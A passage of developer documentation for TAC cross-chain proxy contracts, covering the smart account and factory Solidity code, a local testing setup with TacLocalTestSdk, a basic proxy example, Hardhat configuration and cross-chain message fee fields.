chain that everyone can use * Each user gets **one smart account per proxy contract** * Smart accounts support advanced features like multicall, NFT handling, and hook-based execution * All accounts are upgradeable through the shared beacon pattern **Advanced account logic with comprehensive capabilities:** * Execute arbitrary transactions with custom validation * Multicall support for batch operations * One-time ticket system for secure proxy interactions * NFT receiving capabilities (IERC721Receiver) * Safe token operations with SafeERC20 * Execute and executeUnsafe methods * Delegatecall support for advanced patterns **Shared factory for all developers:** * One factory instance serves all proxy contracts * Deterministic address prediction before deployment * Per-application smart account mapping * Upgradeable beacon pattern for all accounts * Event emission for account creation tracking ## *Smart Account Blueprint* Implementation The contract is already deployed on TAC Mainnet and Testnet. *Smart Account Blueprint* is addressed as `TacSmartAccount` in provided code snippets ```solidity theme={null} // SPDX-License-Identifier: MIT pragma solidity 0.8.28; import { Initializable } from "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; contract TacSmartAccount is Initializable, IERC721Receiver { using SafeERC20 for IERC20; address public owner; event Executed(address indexed target, uint256 value, bytes data); mapping(address caller => bool ticket) public oneTimeTickets; error ExecutionFailed(address target, uint256 value, bytes data, bytes returnData); error AccessDenied(address caller); modifier onlyOwnerOrTicket() { if (oneTimeTickets[msg.sender]) { oneTimeTickets[msg.sender] = false; } else { require(msg.sender == owner, AccessDenied(msg.sender)); } _; } modifier onlyOwner() { require(msg.sender == owner, AccessDenied(msg.sender)); _; } constructor() { _disableInitializers(); } function initialize(address _owner) public initializer { owner = _owner; } function execute(address target, uint256 value, bytes calldata data) external payable onlyOwnerOrTicket returns(bytes memory) { (bool success, bytes memory returnData) = target.call{value: value}(data); require(success, ExecutionFailed(target, value, data, returnData)); emit Executed(target, value, data); return returnData; } function executeUnsafe(address target, uint256 value, bytes calldata data) external payable onlyOwnerOrTicket returns(bool success, bytes memory returnData) { (success, returnData) = target.call{value: value}(data); emit Executed(target, value, data); } function delegatecall(address target, bytes calldata data) external onlyOwner returns(bool success, bytes memory returnData) { (success, returnData) = target.delegatecall(data); require(success, ExecutionFailed(target, 0, data, returnData)); emit Executed(target, 0, data); } function createOneTimeTicket(address caller) external onlyOwner { oneTimeTickets[caller] = true; } function revokeOneTimeTicket(address caller) external onlyOwner { oneTimeTickets[caller] = false; } function approve(IERC20 token, address to, uint256 amount) external onlyOwnerOrTicket{ token.forceApprove(to, amount); } function multicall(address[] calldata targets, uint256[] calldata values, bytes[] calldata data) external payable onlyOwnerOrTicket returns(bytes[] memory) { bytes[] memory results = new bytes[](targets.length); for (uint256 i = 0; i < targets.length; i++) { (bool success, bytes memory returnData) = targets[i].call{value: values[i]}(data[i]); require(success, ExecutionFailed(targets[i], values[i], data[i], returnData)); results[i] = returnData; } return results; } receive() external payable {} function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Key Features Multiple execution methods provide flexibility for different use cases: * **execute()**: Safe execution that reverts on failure * **executeUnsafe()**: Returns success/failure without reverting * **delegatecall()**: Advanced pattern for library calls * **multicall()**: Batch multiple operations in one transaction * **Return Data**: All methods capture and return execution results * **Event Logging**: Track all executed transactions Secure proxy interaction system for cross-chain operations: * **Proxy Authorization**: Proxy contracts can create tickets for users * **Single Use**: Each ticket can only be used once for security * **Owner Control**: Only the owner can create/revoke tickets * **Automatic Cleanup**: Tickets are automatically consumed after use Comprehensive asset management capabilities: * **SafeERC20**: Uses OpenZeppelin's safe token operations * **forceApprove()**: Handles tokens with approval edge cases * **IERC721Receiver**: Can receive NFTs directly * **Batch Operations**: Combine token operations with other calls Flexible access control supporting both owner and proxy operations: * **onlyOwner**: Functions restricted to the account owner * **onlyOwnerOrTicket**: Functions accessible via one-time tickets * **Custom Errors**: Clear error messages for access violations * **Initialization Security**: Secure setup during deployment ## *Smart Account Factory* Implementation The contract is already deployed on TAC Mainnet and Testnet. *Smart Account Factory* is addressed as `TacSAFactory` in provided code snippets The shared factory contract that all developers can use for smart account deployment: ```solidity theme={null} // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.28; import { BeaconProxy } from "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol"; import { UpgradeableBeacon } from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol"; import { Ownable2StepUpgradeable } from "@openzeppelin/contracts-upgradeable/access/Ownable2StepUpgradeable.sol"; import { UUPSUpgradeable } from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import { TacSmartAccount } from "./TacSmartAccount.sol"; import { ISAFactory } from "./interfaces/ISAFactory.sol"; import { TacInitializable } from "../core/TacInitializable.sol"; contract TacSAFactory is TacInitializable, Ownable2StepUpgradeable, UUPSUpgradeable, ISAFactory { UpgradeableBeacon public beacon; mapping(address application => mapping(bytes32 id => address smartAccount)) public smartAccounts; event SmartAccountCreated(address indexed smartAccountAddress, address indexed application, string tvmWallet); function initialize( address _initBlueprint ) external initializer { __Ownable2Step_init(); __Ownable_init(msg.sender); __UUPSUpgradeable_init(); beacon = new UpgradeableBeacon(_initBlueprint, address(this)); } function _authorizeUpgrade(address newImplementation) internal override onlyOwner {} function getOrCreateSmartAccount( string memory tvmWallet ) external returns (address, bool isNewAccount) { bytes32 id = keccak256(abi.encodePacked(tvmWallet)); if (smartAccounts[msg.sender][id] != address(0)) { return (smartAccounts[msg.sender][id], false); } address account = _createSmartAccount(tvmWallet, msg.sender); smartAccounts[msg.sender][id] = account; return (account, true); } function getSmartAccountForApplication( string memory tvmWallet, address application ) external view returns (address) { bytes32 id = keccak256(abi.encodePacked(tvmWallet)); if (smartAccounts[application][id] == address(0)) { return predictSmartAccountAddress(tvmWallet, application); } return smartAccounts[application][id]; } function predictSmartAccountAddress( string memory tvmWallet, address application ) public view returns (address) { bytes32 id = keccak256(abi.encodePacked(tvmWallet)); if (smartAccounts[application][id] != address(0)) { return smartAccounts[application][id]; } // Predict the address using the same logic as _createSmartAccount bytes memory bytecode = abi.encodePacked( type(BeaconProxy).creationCode, abi.encode( address(beacon), abi.encodeWithSelector( TacSmartAccount.initialize.selector, application ) ) ); bytes32 salt = keccak256(abi.encodePacked(application, id)); return address(uint160(uint256(keccak256(abi.encodePacked( bytes1(0xff), address(this), salt, keccak256(bytecode) ))))); } function _createSmartAccount(string memory tvmWallet, address application) internal returns (address) { bytes32 id = keccak256(abi.encodePacked(tvmWallet)); bytes32 salt = keccak256(abi.encodePacked(application, id)); BeaconProxy proxy = new BeaconProxy{salt: salt}( address(beacon), abi.encodeWithSelector( TacSmartAccount.initialize.selector, application ) ); emit SmartAccountCreated(address(proxy), application, tvmWallet); return address(proxy); } function updateBlueprint(address _newBlueprint) external onlyOwner { beacon.upgradeTo(_newBlueprint); } } ``` ## Shared Factory Benefits TAC provides a single factory instance that all developers can use. This approach ensures consistency and reduces deployment costs. * **One Factory for All**: Single deployed instance serves all proxy contracts * **Per-Application Isolation**: Each proxy gets its own mapping of user accounts * **Deterministic Addresses**: Predict smart account addresses before deployment * **Atomic Upgrades**: All accounts upgrade simultaneously when the beacon is updated * **Version Consistency**: Ensures all accounts have the same feature set ## Using the Shared Factory in Proxy Contracts Proxy contracts can leverage the shared TacSAFactory to create and manage smart accounts for users: ### Factory Integration Pattern ```solidity theme={null} // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol"; import { TacHeaderV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol"; import { ISAFactory } from "@tonappchain/evm-ccl/contracts/interfaces/ISAFactory.sol"; import { ITacSmartAccount } from "@tonappchain/evm-ccl/contracts/interfaces/ITacSmartAccount.sol"; contract MyProxy is TacProxyV1 { ISAFactory public immutable saFactory; constructor(address _crossChainLayer, address _saFactory) TacProxyV1(_crossChainLayer) { saFactory = ISAFactory(_saFactory); } function executeWithSmartAccount(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { TacHeaderV1 memory header = _decodeTacHeader(tacHeader); // Get or create smart account for this user and proxy combination (address smartAccount, bool isNewAccount) = saFactory.getOrCreateSmartAccount(header.tvmCaller); // Decode operation parameters (address target, bytes memory data, uint256 value) = abi.decode(arguments, (address, bytes, uint256)); // Execute through smart account bytes memory returnData = ITacSmartAccount(smartAccount).execute(target, value, data); // Parse returnData uint256 tokenId = abi.decode(returnData, (uint256)); } } ``` ## Off-Chain Address Calculation Calculate smart account addresses before transactions for encoding in arguments: ```javascript theme={null} // Get the smart account address for a specific user and proxy const smartAccountAddress = await tacSAFactory.getSmartAccountForApplication( tvmWalletCaller, // TON wallet address in any format proxyAddress // Address of your proxy contract ); // Use this address in your transaction arguments const encodedArguments = ethers.AbiCoder.defaultAbiCoder().encode( ["address", "bytes", "uint256"], [smartAccountAddress, callData, value] ); ``` # Local Testing Source: https://docs.tac.build/proxies/advanced-custom-proxy/testing Testing setup for **TAC Proxy** contracts using the `TacLocalTestSdk` library This page is all about testing using cross-chain *simulation*. You can also test directly in our [TON + TAC Testnet](/sdk/overview#testnet) setup using SDK. The `@tonappchain/evm-ccl` package includes a `TacLocalTestSdk` package that helps emulate full bridging logic and cross-chain operations locally, ensuring your proxy behaves as expected without deploying a full cross-chain setup. The `TacLocalTestSdk` provides a complete testing environment that simulates cross-chain message flows, token bridging, and NFT operations locally. Full cross-chain emulation available within `TacLocalTestSdk` ## Installation and Setup The testing utilities come with the `@tonappchain/evm-ccl` package: ```bash theme={null} npm install --save @tonappchain/evm-ccl@latest ``` Ensure your package.json includes the necessary testing dependencies: ```json theme={null} { "devDependencies": { "@nomicfoundation/hardhat-toolbox": "^5.0.0", "hardhat": "^2.22.5", "ethers": "^6.13.2", "chai": "^4.3.7", "ts-node": "^10.9.2", "typescript": "^5.6.3", "@tonappchain/evm-ccl": "^latest" } } ``` If your Dapp contracts are already deployed on another network, you can fork that network and test against it locally instead of deploying the contracts again. ## Test Proxy Contract Here's the minimal test proxy: ```solidity theme={null} // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { OutMessageV1, TacHeaderV1, TokenAmount, NFTAmount } from "@tonappchain/evm-ccl/contracts/core/Structs.sol"; import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol"; contract TestProxy is TacProxyV1 { event InvokeWithCallback( uint64 shardsKey, uint256 timestamp, bytes32 operationId, string tvmCaller, bytes extraData, TokenAmount[] receivedTokens ); constructor(address _crossChainLayer) TacProxyV1(_crossChainLayer) {} function invokeWithCallback(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { // 1. Decode the header TacHeaderV1 memory header = _decodeTacHeader(tacHeader); // 2. Decode the array of TokenAmount structs TokenAmount[] memory receivedTokens = abi.decode(arguments, (TokenAmount[])); // Optional: Here you could call an external Dapp contract with these tokens // 3. Log an event for testing emit InvokeWithCallback( header.shardsKey, header.timestamp, header.operationId, header.tvmCaller, header.extraData, receivedTokens ); // 4. Approve and forward the tokens back via the cross-chain layer for (uint i = 0; i < receivedTokens.length; i++) { IERC20(receivedTokens[i].evmAddress).approve( _getCrossChainLayerAddress(), receivedTokens[i].amount ); } // 5. Create and send an OutMessage _sendMessageV1( OutMessageV1({ shardsKey: header.shardsKey, tvmTarget: header.tvmCaller, tvmPayload: "", tvmProtocolFee: 0, tvmExecutorFee: 0, tvmValidExecutors: new string[](0), toBridge: receivedTokens, toBridgeNFT: new NFTAmount[](0) }), 0 ); } } ``` ## Test Token Contract Simple ERC20 token for testing: ```solidity theme={null} // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract TestToken is ERC20 { constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {} function mint(address _to, uint256 _amount) external { _mint(_to, _amount); } } ``` ## Test Flow Pattern ### 1. Initialization * Create local cross-chain environment (`TacLocalTestSdk`) * Deploy test tokens and proxy contracts * Set up initial state ### 2. Bridging Simulation * Mint or lock tokens on the cross-chain layer * Create test parameters (`shardsKey`, `operationId`, etc.) * Prepare method call arguments ### 3. Invoke Proxy * Use `testSdk.sendMessage(...)` to simulate cross-chain call * Pass all required parameters for complete simulation ### 4. Verification * Confirm transaction succeeded (`receipt.status === 1`) * Inspect `deployedTokens` for newly minted jettons * Inspect `outMessages` for tokens returning to TON * Check emitted events for correct data ## Complete Test Setup Create a test file such as `TestProxy.spec.ts` under your test directory: ```typescript theme={null} import hre, { ethers } from "hardhat"; import { Signer } from "ethers"; import { expect } from "chai"; // The following items come from '@tonappchain/evm-ccl' to help test cross-chain logic locally. import { deploy, TacLocalTestSdk, JettonInfo, TokenMintInfo, TokenUnlockInfo, } from "@tonappchain/evm-ccl"; // Types for your compiled contracts import { TestProxy, TestToken } from "../typechain-types"; import { InvokeWithCallbackEvent } from "../typechain-types/contracts/TestProxy"; describe("TestProxy with @tonappchain/evm-ccl", () => { let admin: Signer; let testSdk: TacLocalTestSdk; let proxyContract: TestProxy; let existedToken: TestToken; before(async () => { [admin] = await ethers.getSigners(); // 1. Initialize local test SDK testSdk = new TacLocalTestSdk(); const crossChainLayerAddress = testSdk.create(ethers.provider); // 2. Deploy a sample ERC20 token existedToken = await deploy( admin, hre.artifacts.readArtifactSync("TestToken"), ["TestToken", "TTK"], undefined, false ); // 3. Deploy the proxy contract proxyContract = await deploy( admin, hre.artifacts.readArtifactSync("TestProxy"), [crossChainLayerAddress], undefined, false ); }); it("Should correctly handle invokeWithCallback", async () => { // Prepare call parameters const shardsKey = 1n; const operationId = ethers.encodeBytes32String("operationId"); const extraData = "0x"; // untrusted data from the executor const timestamp = BigInt(Math.floor(Date.now() / 1000)); const tvmWalletCaller = "TVMCallerAddress"; // Example bridging: create a Jetton and specify how many tokens to mint const jettonInfo: JettonInfo = { tvmAddress: "JettonMinterAddress", name: "TestJetton", symbol: "TJT", }; const tokenMintInfo: TokenMintInfo = { info: jettonInfo, amount: 10n ** 9n, }; // Also handle an existing EVM token to simulate bridging const tokenUnlockInfo: TokenUnlockInfo = { evmAddress: await existedToken.getAddress(), amount: 10n ** 18n, }; // Lock existedToken in the cross-chain layer to emulate bridging from EVM await existedToken.mint( testSdk.getCrossChainLayerAddress(), tokenUnlockInfo.amount ); // You can define a native TAC amount to bridge to your proxy, // but you must first lock this amount on the CrossChainLayer contract // use the testSdk.lockNativeTacOnCrossChainLayer(nativeTacAmount) function const tacAmountToBridge = 0n; // Determine the EVM address of the bridged Jetton (for minted jettons) const bridgedJettonAddress = testSdk.getEVMJettonAddress( jettonInfo.tvmAddress ); // Prepare the method call const target = await proxyContract.getAddress(); const methodName = "invokeWithCallback(bytes,bytes)"; // Our 'arguments' is an array of TokenAmount: (address, uint256)[] const receivedTokens = [ [bridgedJettonAddress, tokenMintInfo.amount], [tokenUnlockInfo.evmAddress, tokenUnlockInfo.amount], ]; const encodedArguments = ethers.AbiCoder.defaultAbiCoder().encode( ["tuple(address,uint256)[]"], [receivedTokens] ); // 4. Use testSdk to simulate a cross-chain message const { receipt, deployedTokens, outMessages } = await testSdk.sendMessage( shardsKey, target, methodName, encodedArguments, tvmWalletCaller, [tokenMintInfo], // which jettons to mint [tokenUnlockInfo], // which EVM tokens to unlock tacAmountToBridge, extraData, operationId, timestamp, 0, // gasLimit - if 0 - simulate and fill inside sendMessage false // force send (if simulation failed) ); // 5. Assertions expect(receipt.status).to.equal(1); // - Check if the Jetton was deployed expect(deployedTokens.length).to.equal(1); expect(deployedTokens[0].evmAddress).to.equal(bridgedJettonAddress); // - Check the outMessages array expect(outMessages.length).to.equal(1); const outMessage = outMessages[0]; expect(outMessage.shardsKey).to.equal(shardsKey); expect(outMessage.operationId).to.equal(operationId); expect(outMessage.callerAddress).to.equal(await proxyContract.getAddress()); expect(outMessage.targetAddress).to.equal(tvmWalletCaller); // - The returned tokens should be burned or locked as bridging back to TON expect(outMessage.tokensBurned.length).to.equal(1); expect(outMessage.tokensBurned[0].evmAddress).to.equal( bridgedJettonAddress ); expect(outMessage.tokensBurned[0].amount).to.equal(tokenMintInfo.amount); expect(outMessage.tokensLocked.length).to.equal(1); expect(outMessage.tokensLocked[0].evmAddress).to.equal( tokenUnlockInfo.evmAddress ); expect(outMessage.tokensLocked[0].amount).to.equal(tokenUnlockInfo.amount); // - Confirm the event was emitted let eventFound = false; receipt.logs.forEach((log) => { const parsed = proxyContract.interface.parseLog(log); if (parsed && parsed.name === "InvokeWithCallback") { eventFound = true; const typedEvent = parsed as unknown as InvokeWithCallbackEvent.LogDescription; expect(typedEvent.args.shardsKey).to.equal(shardsKey); expect(typedEvent.args.timestamp).to.equal(timestamp); expect(typedEvent.args.operationId).to.equal(operationId); expect(typedEvent.args.tvmCaller).to.equal(tvmWalletCaller); expect(typedEvent.args.extraData).to.equal(extraData); expect(typedEvent.args.receivedTokens.length).to.equal(2); expect(typedEvent.args.receivedTokens[0].evmAddress).to.equal( bridgedJettonAddress ); expect(typedEvent.args.receivedTokens[1].evmAddress).to.equal( tokenUnlockInfo.evmAddress ); } }); expect(eventFound).to.be.true; }); }); ``` ## Key Testing Components ### `TacLocalTestSdk` The core testing utility that provides: ```typescript theme={null} // Initialize the SDK testSdk = new TacLocalTestSdk(); const crossChainLayerAddress = testSdk.create(ethers.provider); // Get addresses for operations testSdk.getCrossChainLayerAddress(); testSdk.getEVMJettonAddress(jettonInfo.tvmAddress); testSdk.getEVMNFTCollectionAddress(nftCollectionInfo.tvmAddress); // Lock native TAC tokens for testing testSdk.lockNativeTacOnCrossChainLayer(nativeTacAmount); ``` ### Data Structures #### `JettonInfo` ```typescript theme={null} const jettonInfo: JettonInfo = { tvmAddress: "JettonMinterAddress", // TON jetton address name: "TestJetton", symbol: "TJT", }; ``` #### `TokenMintInfo` ```typescript theme={null} const tokenMintInfo: TokenMintInfo = { info: jettonInfo, amount: 10n ** 9n, // Amount to mint }; ``` #### `TokenUnlockInfo` ```typescript theme={null} const tokenUnlockInfo: TokenUnlockInfo = { evmAddress: await existedToken.getAddress(), amount: 10n ** 18n, // Amount to unlock }; ``` ### `sendMessage` Method The main testing method that simulates cross-chain operations: ```typescript theme={null} const { receipt, deployedTokens, outMessages } = await testSdk.sendMessage( shardsKey, // uint64 - Operation identifier target, // string - Target proxy contract address methodName, // string - Function signature "functionName(bytes,bytes)" encodedArguments, // bytes - ABI-encoded arguments tvmWalletCaller, // string - Simulated TON wallet address [tokenMintInfo], // TokenMintInfo[] - Jettons to mint [tokenUnlockInfo], // TokenUnlockInfo[] - EVM tokens to unlock tacAmountToBridge, // bigint - Native TAC amount to bridge extraData, // bytes - Extra data (usually "0x") operationId, // bytes32 - Unique operation ID timestamp, // bigint - Block timestamp 0, // gasLimit - 0 to auto-simulate false // force send if simulation fails ); ``` ### `sendMessageWithNFT` Method For testing NFT operations, use the specialized NFT testing method: ```typescript theme={null} const { receipt, deployedTokens, outMessages } = await testSdk.sendMessageWithNFT( shardsKey, target, methodName, encodedArguments, tvmWalletCaller, [tokenMintInfo], // TokenMintInfo[] - Regular tokens to mint [tokenUnlockInfo], // TokenUnlockInfo[] - Regular tokens to unlock [nftMintInfo], // NFTMintInfo[] - NFTs to mint [nftUnlockInfo], // NFTUnlockInfo[] - NFTs to unlock tacAmountToBridge, extraData, operationId, timestamp ); ``` ## Running Tests Inside your project directory: ```bash theme={null} npx hardhat test ``` # Basic Proxy Example Source: https://docs.tac.build/proxies/custom-proxy/basic-proxy This guide walks you through creating your first basic proxy contract, explaining each concept as we build. In the [`create-tac-app`](/quickstart/overview) quickstart project, the TAC Proxy `MessageProxy.sol` contract is created automatically. You can also review it ## Your First Proxy Contract Let's start with the absolute minimum proxy contract that can handle TON->TAC transaction: ```solidity theme={null} // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol"; import { TacHeaderV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol"; contract HelloProxy is TacProxyV1 { event HelloFromTON(string indexed tonUser, string message); constructor(address crossChainLayer) TacProxyV1(crossChainLayer) {} function sayHello(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { // 1. Decode who's calling from TON TacHeaderV1 memory header = _decodeTacHeader(tacHeader); // 2. Decode their message string memory message = abi.decode(arguments, (string)); // 3. Do something with it emit HelloFromTON(header.tvmCaller, message); } } ``` That's it! This contract can receive messages from any TON user. ## Understanding the Structure ### Required Imports ```solidity theme={null} import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol"; import { TacHeaderV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol"; ``` * `TacProxyV1`: The base contract that handles all cross-chain communication * `TacHeaderV1`: Data structure containing information about the TON user ### Inheritance ```solidity theme={null} contract HelloProxy is TacProxyV1 { ``` Your contract **must** inherit from `TacProxyV1` to receive cross-chain calls. ### Constructor Parameter ```solidity theme={null} constructor(address crossChainLayer) TacProxyV1(crossChainLayer) {} ``` The `crossChainLayer` address is TAC's infrastructure contract that will call your functions. You get this address from TAC documentation or contract addresses page. ### Function Signature (Critical!) ```solidity theme={null} function sayHello(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { ``` **Every cross-chain function must follow this exact pattern:** * `bytes calldata tacHeader` - Encoded TacHeaderV1 containing TON user information * `bytes calldata arguments` - Your custom ABI-encoded parameters * `external` - Must be externally callable * `_onlyCrossChainLayer` - Security modifier that ensures only CrossChainLayer can call this function (required only for TON->TAC and TON->TAC->TON types) ## Step-by-Step Walkthrough ### Step 1: Decode the Header ```solidity theme={null} TacHeaderV1 memory header = _decodeTacHeader(tacHeader); ``` The header tells you: * `header.tvmCaller` - TON user's address. **Important!** It is always base64 mainnet bounceable format and starts with "EQ" (like "EQAbc123...") * `header.operationId` - Unique ID for this operation * `header.timestamp` - When the TON transaction happened ### Step 2: Decode Your Parameters ```solidity theme={null} string memory message = abi.decode(arguments, (string)); ``` The `arguments` contain whatever data the TON user sent. You decide what format this should be - it could be: * A single string: `abi.decode(arguments, (string))` * Multiple values: `abi.decode(arguments, (uint256, address, bool))` * A struct: `abi.decode(arguments, (MyCustomStruct))` ### Step 3: Execute Your Logic ```solidity theme={null} emit HelloFromTON(header.tvmCaller, message); ``` This is where you do whatever your contract is supposed to do. In this example, we just emit an event, but you could: * Store data in state variables * Call other contracts * Perform calculations * Transfer tokens ## Sending Responses Back to TON You may also want to send arbitrary tokens back to the TON user after an EVM execution (TON->TAC->TON transaction type). Learn how in the [more advanced example](/proxies/custom-proxy/proxy-functions#complete-implementation-walkthrough). ## Deployment Deploy your basic proxy just like any other contract. You can also use `deploy` from `@tonappchain/evm-ccl` as helper: ```javascript theme={null} import { Signer } from "ethers"; import { HelloProxy } from "../../typechain-types"; import { deploy } from '@tonappchain/evm-ccl'; import hre from 'hardhat'; export async function deployHelloProxy( deployer: Signer, crossChainLayer: string, ): Promise { const helloProxy = await deploy( deployer, hre.artifacts.readArtifactSync('HelloProxy'), [crossChainLayer], undefined, true // verbose ); await helloProxy.waitForDeployment(); return helloProxy; } async function main() { const [deployer] = await hre.ethers.getSigners(); const crossChainLayer = process.env.CROSS_CHAIN_LAYER_ADDRESS; const helloProxy = await deployHelloProxy(deployer, crossChainLayer); console.log("HelloProxy deployed to:", helloProxy.target); } main().catch(console.error); ``` ## What's Next? **Start simple**: Build and test basic proxy contracts before moving to upgradeable patterns. Most use cases don't actually need upgradeability. Feeling ready for more complex patterns? Learn when and how to build contracts that can be upgraded over time # Develop Custom Proxy Source: https://docs.tac.build/proxies/custom-proxy/develop Guide how to develop a TAC Proxy ## Documentation The contents of the *Custom Proxy* page block you are viewing are primarily for informational purposes. For complete details on Custom Proxy development, please refer to the official documentation linked below: Developer documentation within `@tonappchain/evm-ccl` NPM-package You can also reach out to our developer community in [Telegram](https://t.me/TACbuild). ## Installation Setting up TAC Proxy development requires installing the TAC cross-chain libraries and configuring your Solidity development environment. TAC Proxy development currently requires Hardhat. Foundry support is planned in future. ```bash npm theme={null} npm install --save @tonappchain/evm-ccl@latest ``` ```bash yarn theme={null} yarn add @tonappchain/evm-ccl@latest ``` ```bash pnpm theme={null} pnpm add @tonappchain/evm-ccl@latest ``` ## Hardhat Environment Setup Ensure your Hardhat project includes the necessary dependencies: ```json package.json theme={null} { "devDependencies": { "@nomicfoundation/hardhat-toolbox": "^5.0.0", "hardhat": "^2.22.5", "ethers": "^6.13.2", "chai": "^4.3.7", "ts-node": "^10.9.2", "typescript": "^5.6.3", "@tonappchain/evm-ccl": "^latest" } } ``` Configure your `hardhat.config.js` for TAC networks: ```javascript hardhat.config.js theme={null} require("@nomicfoundation/hardhat-toolbox"); module.exports = { solidity: { version: "0.8.28", settings: { optimizer: { enabled: true, runs: 200, }, }, }, networks: { tac_testnet: { url: "https://spb.rpc.tac.build", chainId: 2391, accounts: [process.env.PRIVATE_KEY || ""], gasPrice: 20000000000, }, tac_mainnet: { url: "https://rpc.tac.build", chainId: 239, accounts: [process.env.PRIVATE_KEY || ""], gasPrice: 20000000000, }, }, }; ``` ## Project Structure Setup Create an organized project structure for proxy development: Organize your contracts with clear separation between proxy and application logic: ``` contracts/ ├── proxies/ # TAC proxy contracts │ ├── MyProxy.sol │ └── MyNFTProxy.sol ├── interfaces/ # Custom interfaces │ └── IMyDApp.sol ├── libraries/ # Utility libraries └── mocks/ # Testing contracts ├── TestToken.sol └── TestNFT.sol ``` Create a test directory with proper organization: ``` test/ ├── proxies/ # Proxy-specific tests │ ├── MyProxy.test.ts │ └── NFTProxy.test.ts ├── integration/ # Cross-chain integration tests └── helpers/ # Test utilities └── tacTestHelpers.ts ``` Create a `.env` file for sensitive configuration: ```bash .env theme={null} # Deployment PRIVATE_KEY=your_private_key_here # Network Configuration TAC_TESTNET_RPC=https://spb.rpc.tac.build TAC_MAINNET_RPC=https://rpc.tac.build # Optional: API Keys ETHERSCAN_API_KEY=your_etherscan_api_key ``` Never commit your `.env` file. Add it to your `.gitignore` immediately. ## Verify Installation Create a basic proxy contract to verify your setup: ```solidity contracts/TestProxy.sol theme={null} // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; import { TacProxyV1 } from "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol"; import { TacHeaderV1 } from "@tonappchain/evm-ccl/contracts/core/Structs.sol"; contract TestProxy is TacProxyV1 { event MessageReceived(address indexed caller, string message); constructor(address crossChainLayer) TacProxyV1(crossChainLayer) {} function receiveMessage(bytes calldata tacHeader, bytes calldata arguments) external _onlyCrossChainLayer { TacHeaderV1 memory header = _decodeTacHeader(tacHeader); string memory message = abi.decode(arguments, (string)); emit MessageReceived(header.tvmCaller, message); } } ``` Compile to verify setup: ```bash theme={null} npx hardhat compile ``` If compilation succeeds, your environment is properly configured for TAC Proxy development. ## Common Setup Issues **Problem**: Import resolution failures or compilation errors **Solutions**: * Ensure `@tonappchain/evm-ccl` is properly installed * Verify Solidity version compatibility (0.8.28+) * Check import paths are correct * Reset and reinstall dependencies: ```bash theme={null} rm -rf node_modules package-lock.json npm install ``` * Clean and rebuild: ```bash theme={null} npx hardhat clean && npx hardhat compile ``` **Problem**: Unable to connect to TAC network **Solutions**: * Verify RPC URLs are correct * Check network configuration in hardhat.config.js * Test connection manually: `curl https://spb.rpc.tac.build` * Ensure firewall allows outbound connections ```javascript theme={null} // Test network connectivity const { ethers } = require("hardhat"); async function testConnection() { const provider = new ethers.JsonRpcProvider("https://spb.rpc.tac.build"); const blockNumber = await provider.getBlockNumber(); console.log("Connected! Latest block:", blockNumber); } ``` **Problem**: Deployment fails with account/key errors **Solutions**: * Verify private key is in `.env` file * Ensure private key starts with `0x` if required by your configuration * Check that the account has sufficient TAC tokens for deployment. Get them [here](ecosystem/faucet) ## What's Next? Environment ready? Let's get to examples: # Fee Management Source: https://docs.tac.build/proxies/custom-proxy/fee-management Understand how to handle protocol fees and executor payments in cross-chain messages TAC's cross-chain messaging system has different fee structures depending on message direction and type. Understanding these fees is crucial for implementing cost-effective proxy contracts. ## OutMessageV1 Structure The `OutMessageV1` structure contains all the fields needed for cross-chain messages: ```solidity theme={null} struct OutMessageV1 { uint64 shardsKey; // Developer ID for linking messages string tvmTarget; // The recipient address on TON network string tvmPayload; // Custom payload (currently not supported - must be empty) uint256 tvmProtocolFee; // Protocol fee you pay (0 for RoundTrip messages) uint256 tvmExecutorFee; // Executor fee you pay (0 for RoundTrip messages) string[] tvmValidExecutors; // List of valid executors (empty array for RoundTrip) TokenAmount[] toBridge; // ERC20 tokens to bridge to TON NFTAmount[] toBridgeNFT; // NFTs to bridge to TON } ``` ### Field Usage Guide **shardsKey**: Developer ID. It is recommended to set it from the tacHeader. **tvmTarget**: The recipient address on the TON network in base64 format starting with "EQ". **tvmPayload**: A custom payload to be executed on the TON side. Currently not supported — must be empty. **tvmProtocolFee**: The protocol fee you must pay. For roundTrip messages, this fee is already covered on the TON side, so set this field to 0. **tvmExecutorFee**: The fee you offer to the executor on the TON side (in TAC tokens). For roundTrip messages, the fee is already locked on TON, so set this field to 0. **tvmValidExecutors**: A list of executors you trust to execute the message on the TON side. For roundTrip messages, this must be an empty array; the trusted executors are already defined in the initial TON message. For direct messages, you can get trusted executors using `settings.getTrustedTVMExecutors()` or use an empty array for default executors. **toBridge**: List of ERC20 tokens you want to bridge to the TON network and transfer to tvmTarget. Learn how to compose them [here](/proxies/custom-proxy/proxy-functions#complete-implementation-walkthrough). 